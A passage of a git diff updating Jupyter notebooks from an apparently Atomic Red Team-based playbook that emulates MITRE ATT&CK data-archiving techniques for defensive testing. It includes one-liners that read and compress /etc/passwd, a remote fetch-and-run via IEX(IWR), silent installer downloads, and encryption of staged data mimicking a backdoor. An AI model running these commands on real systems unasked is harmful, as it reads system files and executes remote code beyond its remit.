\"%ProgramFiles%\\WinZip\\winzip64.exe\" (echo 1) else (echo 0)'\n\n```\n##### Get Prereq Commands:\n```cmd\nIEX(IWR \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1\" -UseBasicParsing)\nif(Invoke-WebRequestVerifyHash \"https://download.winzip.com/gl/nkln/winzip24-home.exe\" \"$env:Temp\\winzip.exe\" B59DB592B924E963C21DA8709417AC0504F6158CFCB12FE5536F4A0E0D57D7FB){\n Write-Host Follow the installation prompts to continue\n cmd /c \"$env:Temp\\winzip.exe\"\n}\n\n```" + "source": "### Atomic Test #3 - Compress Data and lock with password for Exfiltration with winzip\nNote: Requires winzip installation\nwzzip sample.zip -s\"blueblue\" *.txt (VARIANT)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Winzip must be installed\n\n##### Check Prereq Commands:\n```cmd\ncmd /c 'if not exist \"%ProgramFiles%\\WinZip\\winzip64.exe\" (echo 1) else (echo 0)'\n\n```\n##### Get Prereq Commands:\n```cmd\nIEX(IWR \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1\" -UseBasicParsing)\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nif(Invoke-WebRequestVerifyHash \"https://download.winzip.com/gl/nkln/winzip24-home.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\winzip.exe\" B59DB592B924E963C21DA8709417AC0504F6158CFCB12FE5536F4A0E0D57D7FB){\n Write-Host Follow the installation prompts to continue\n cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\winzip.exe\"\n}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1a0f36a3", + "id": "98c89411", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9088e78d", + "id": "a0810ec0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0ce1a3ab", + "id": "47e23c32", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "06231466", + "id": "711371b9", "metadata": {}, - "source": "### Atomic Test #4 - Compress Data and lock with password for Exfiltration with 7zip\nNote: Requires 7zip installation\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: 7zip tool must be installed at specified location (#{7zip_exe})\n\n##### Check Prereq Commands:\n```cmd\nif not exist \"%ProgramFiles%\\7-zip\\7z.exe\" (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\necho Downloading 7-zip installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.7-zip.org/a/7z2002-x64.exe\" %TEMP%\\7zip.exe\n%TEMP%\\7zip.exe /S\n\n```" + "source": "### Atomic Test #4 - Compress Data and lock with password for Exfiltration with 7zip\nNote: This test requires 7zip installation\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: 7zip tool must be installed at specified location (#{7zip_exe})\n\n##### Check Prereq Commands:\n```cmd\nif not exist \"%ProgramFiles%\\7-zip\\7z.exe\" (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\necho Downloading 7-zip installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.7-zip.org/a/7z2301-x64.exe\" %TEMP%\\7zip.exe\n%TEMP%\\7zip.exe /S\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "289ffaaa", + "id": "261fae9d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "afc01266", + "id": "cac094fa", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -145,28 +145,42 @@ { "cell_type": "code", "execution_count": null, - "id": "2e9ae53c", + "id": "b976a03c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "e6a7368b", + "id": "d1c83627", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nrmdir /s /Q $PathToAtomicsFolder\\T1560.001\\victim-files >nul 2>&1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b18f7da9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1560.001 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "8d94540f", "metadata": {}, "source": "### Atomic Test #5 - Data Compressed - nix - zip\nAn adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Files to zip must exist (#{input_files})\n\n##### Check Prereq Commands:\n```sh\nif [ $(ls /var/log/{w,b}tmp | wc -l) > 0 ] && [ -x $(which zip) ] ; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release zip)||(which apt-get && apt-get install -y zip)\necho Please set input_files argument to include files that exist\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7b521ed1", + "id": "aca6a84d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "202c24bd", + "id": "790c99ca", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -176,28 +190,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1c42d481", + "id": "bd400bba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0d2da2b0", + "id": "5356d18d", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f $HOME/data.zip\n```" }, { "cell_type": "code", "execution_count": null, - "id": "740dc713", + "id": "5744c261", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "d6ccb59c", + "id": "befb5424", "metadata": {}, "source": [ "### Atomic Test #6 - Data Compressed - nix - gzip Single File", @@ -211,42 +225,42 @@ { "cell_type": "code", "execution_count": null, - "id": "853218c6", + "id": "b51a14e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "bac63f08", + "id": "d08adb14", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f $HOME/victim-gzip.txt.gz\n```" }, { "cell_type": "code", "execution_count": null, - "id": "27af2307", + "id": "7a0da58b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "9e60478d", + "id": "2b1b6585", "metadata": {}, - "source": "### Atomic Test #7 - Data Compressed - nix - tar Folder or File\nAn adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Folder to zip must exist (#{input_file_folder})\n\n##### Check Prereq Commands:\n```sh\ntest -e $HOME/$USERNAME\n\n```\n##### Get Prereq Commands:\n```sh\necho Please set input_file_folder argument to a folder that exists\n\n```" + "source": "### Atomic Test #7 - Data Compressed - nix - tar Folder or File\nAn adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Folder to zip must exist (#{input_file_folder})\n\n##### Check Prereq Commands:\n```sh\ntest -e $HOME/$USERNAME\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p $HOME/$USERNAME && touch $HOME/$USERNAME/file1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dae7bc23", + "id": "03384d2c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2ccbcb8c", + "id": "231ba596", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -256,42 +270,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6031b555", + "id": "1bde4cf0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "3ae99a77", + "id": "bf8a9f0a", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f $HOME/data.tar.gz\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8b47907d", + "id": "ce87afe5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "9821e6d1", + "id": "2c164434", "metadata": {}, - "source": "### Atomic Test #8 - Data Encrypted with zip and gpg symmetric\nEncrypt data for exiltration\n\n**Supported Platforms:** macos, linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: gpg and zip are required to run the test.\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v gpg)\" ] || [ ! -x \"$(command -v zip)\" ]; then exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release zip gpg)||(which apt-get && apt-get install -y zip gpg)\n\n```" + "source": "### Atomic Test #8 - Data Encrypted with zip and gpg symmetric\nEncrypt data for exiltration\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: gpg and zip are required to run the test.\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v gpg)\" ] || [ ! -x \"$(command -v zip)\" ]; then exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y gnupg zip)||(which yum && yum -y install epel-release zip gpg)||(which apt-get && apt-get install -y zip gpg)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9fcc481f", + "id": "a63d8c09", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f92f2da7", + "id": "a93256f2", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -301,28 +315,73 @@ { "cell_type": "code", "execution_count": null, - "id": "e5889ccb", + "id": "4213a097", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "40b10edc", + "id": "1ea209b4", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -Rf /tmp/T1560\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d22d9e0", + "id": "ef207649", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "98a379fe", + "id": "39c0644a", + "metadata": {}, + "source": "### Atomic Test #9 - Encrypts collected data with AES-256 and Base64\nAn adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. \nThis atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. \nIn this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.\nhttps://attack.mitre.org/versions/v7/software/S0267/\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The folder and test files must exist\n##### Check Prereq Commands:\n```bash\nif [ ! -d /tmp/t1560 ]; then exit 1; else exit 0; fi;\n```\n##### Get Prereq Commands:\n```bash\nif [ ! -d /tmp/t1560 ]; then mkdir -p /tmp/t1560; cd /tmp/t1560; touch {a..z}.data; fi;\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "70b2b172", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1560.001 -TestNumbers 9 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "0d5e7d94", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\nzip -r /tmp/t1560/t1560_data.zip /tmp/t1560\nopenssl enc -aes-256-cbc -pass pass:atomic_enc_pass -p -in /tmp/t1560/t1560_data.zip -out /tmp/t1560/t1560_data.enc \ncat /tmp/t1560/t1560_data.enc | base64```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ab1211cd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1560.001 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "f64ee55d", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -rf /tmp/t1560```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fad64778", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1560.001 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5d527fc6", "metadata": {}, "source": "## Detection\nCommon utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)" } @@ -330,13 +389,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1560.002.ipynb b/playbook/tactics/collection/T1560.002.ipynb index 4c33c1ac..1342ac7c 100644 --- a/playbook/tactics/collection/T1560.002.ipynb +++ b/playbook/tactics/collection/T1560.002.ipynb @@ -2,199 +2,199 @@ "cells": [ { "cell_type": "markdown", - "id": "78da05dc", + "id": "ee81a47f", "metadata": {}, "source": "# T1560.002 - Archive via Library\nAn adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism." }, { "cell_type": "markdown", - "id": "03d46fcd", + "id": "f287cd9e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "014654ac", + "id": "721ad8e1", "metadata": {}, - "source": "### Atomic Test #1 - Compressing data using GZip in Python (Linux)\nUses GZip from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```bash\nwhich_python=`which python`; $which_python -V\n\n```\n##### Get Prereq Commands:\n```bash\nNone\n```" + "source": "### Atomic Test #1 - Compressing data using GZip in Python (FreeBSD/Linux)\nUses GZip from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich python || which python3\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install python to run this test\"; exit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "82574214", + "id": "6ecc4b90", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "835c4099", + "id": "42bd200f", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\n$which_python -c \"import gzip;input_file=open('/etc/passwd', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('/tmp/passwd.gz','wb',compresslevel=6);output_file.write(content);output_file.close();\"\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nwhich_python=`which python || which python3`\n$which_python -c \"import gzip;input_file=open('/etc/passwd', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('/tmp/passwd.gz','wb',compresslevel=6);output_file.write(content);output_file.close();\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3128aa1f", + "id": "32e43645", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "71a07f36", + "id": "b5d489e2", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm /tmp/passwd.gz\n```" + "source": "#### Cleanup: \n```sh\nrm /tmp/passwd.gz\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e6471efa", + "id": "b17bbc19", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c3fc1c93", + "id": "0455271e", "metadata": {}, - "source": "### Atomic Test #2 - Compressing data using bz2 in Python (Linux)\nUses bz2 from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```bash\nwhich_python=`which python`; $which_python -V\n\n```\n##### Get Prereq Commands:\n```bash\nNone\n```" + "source": "### Atomic Test #2 - Compressing data using bz2 in Python (FreeBSD/Linux)\nUses bz2 from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich python || which python3\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install python to run this test\"; exit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4b2ecb73", + "id": "5ee80e45", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "141d23cc", + "id": "8fb85fff", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\n$which_python -c \"import bz2;input_file=open('/etc/passwd','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('/tmp/passwd.bz2','w+');output_file.write(str(bz2content));output_file.close();\"\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nwhich_python=`which python || which python3`\n$which_python -c \"import bz2;input_file=open('/etc/passwd','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('/tmp/passwd.bz2','w+');output_file.write(str(bz2content));output_file.close();\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c537830d", + "id": "8e625811", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bf0d2ca0", + "id": "62dec2af", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm /tmp/passwd.bz2\n```" + "source": "#### Cleanup: \n```sh\nrm /tmp/passwd.bz2\n```" }, { "cell_type": "code", "execution_count": null, - "id": "948d28e2", + "id": "da2cd21c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "7cfaa5fe", + "id": "14c3390c", "metadata": {}, - "source": "### Atomic Test #3 - Compressing data using zipfile in Python (Linux)\nUses zipfile from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```bash\nwhich_python=`which python`; $which_python -V\n\n```\n##### Get Prereq Commands:\n```bash\nNone\n```" + "source": "### Atomic Test #3 - Compressing data using zipfile in Python (FreeBSD/Linux)\nUses zipfile from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich python || which python3\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install python to run this test\"; exit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3765c68d", + "id": "18b1667d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a9f2bd1d", + "id": "7b46205a", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\n$which_python -c \"from zipfile import ZipFile; ZipFile('/tmp/passwd.zip', mode='w').write('/etc/passwd')\"\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nwhich_python=`which python || which python3`\n$which_python -c \"from zipfile import ZipFile; ZipFile('/tmp/passwd.zip', mode='w').write('/etc/passwd')\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b22cb4b3", + "id": "b876140a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9bd5bd14", + "id": "b96ab02f", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm /tmp/passwd.zip\n```" + "source": "#### Cleanup: \n```sh\nrm /tmp/passwd.zip\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e887ac79", + "id": "87a718c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "d1590bed", + "id": "ad7199e7", "metadata": {}, - "source": "### Atomic Test #4 - Compressing data using tarfile in Python (Linux)\nUses tarfile from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```bash\nwhich_python=`which python`; $which_python -V\n\n```\n##### Get Prereq Commands:\n```bash\nNone\n```" + "source": "### Atomic Test #4 - Compressing data using tarfile in Python (FreeBSD/Linux)\nUses tarfile from Python to compress files\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich python || which python3\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install python to run this test\"; exit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e25fef34", + "id": "d361022a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1cf92c07", + "id": "afb79a12", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\n$which_python -c \"from zipfile import ZipFile; ZipFile('/tmp/passwd.tar.gz', mode='w').write('/etc/passwd')\" \n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nwhich_python=`which python || which python3`\n$which_python -c \"from zipfile import ZipFile; ZipFile('/tmp/passwd.tar.gz', mode='w').write('/etc/passwd')\" \n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7497bd8d", + "id": "be40abca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "46b5ad9c", + "id": "377e7ad9", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm /tmp/passwd.tar.gz\n```" + "source": "#### Cleanup: \n```sh\nrm /tmp/passwd.tar.gz\n```" }, { "cell_type": "code", "execution_count": null, - "id": "70978e5a", + "id": "7c168049", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "cb89c369", + "id": "281b7688", "metadata": {}, "source": "## Detection\nMonitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)" } @@ -202,13 +202,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1560.003.ipynb b/playbook/tactics/collection/T1560.003.ipynb index 18496041..8007fec2 100644 --- a/playbook/tactics/collection/T1560.003.ipynb +++ b/playbook/tactics/collection/T1560.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "084b3776", + "id": "ada94e33", "metadata": {}, "source": "# T1560.003 - Archive via Custom Method\nAn adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)" }, { "cell_type": "markdown", - "id": "54995759", + "id": "14fac637", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "1e9c7f74", + "id": "ca6ea713", "metadata": {}, "source": "## Detection\nCustom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1560.ipynb b/playbook/tactics/collection/T1560.ipynb index 443541d4..ad7ef510 100644 --- a/playbook/tactics/collection/T1560.ipynb +++ b/playbook/tactics/collection/T1560.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8f17bceb", + "id": "b2b89a52", "metadata": {}, "source": "# T1560 - Archive Collected Data\nAn adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method." }, { "cell_type": "markdown", - "id": "5dd83eeb", + "id": "bb220680", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "50d22ad5", + "id": "ef7df86d", "metadata": {}, "source": [ "### Atomic Test #1 - Compress Data for Exfiltration With PowerShell", @@ -28,34 +28,34 @@ { "cell_type": "code", "execution_count": null, - "id": "33f6119c", + "id": "e39db936", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "75658036", + "id": "1e0cbcbb", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -path $env:USERPROFILE\\T1560-data-ps.zip -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "41c34f5f", + "id": "efd8fcb6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d76bdbcb", + "id": "3c79f2fd", "metadata": {}, "source": "## Detection\nArchival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)" }, { "cell_type": "markdown", - "id": "76bd2729", + "id": "cedf6dde", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender might alter APIs to expose data that is being archived, encoded, and/or encrypted. This can also be used to corrupt the action so the data isn't usable.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -63,13 +63,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1602.001.ipynb b/playbook/tactics/collection/T1602.001.ipynb index 044837db..f05c0058 100644 --- a/playbook/tactics/collection/T1602.001.ipynb +++ b/playbook/tactics/collection/T1602.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { 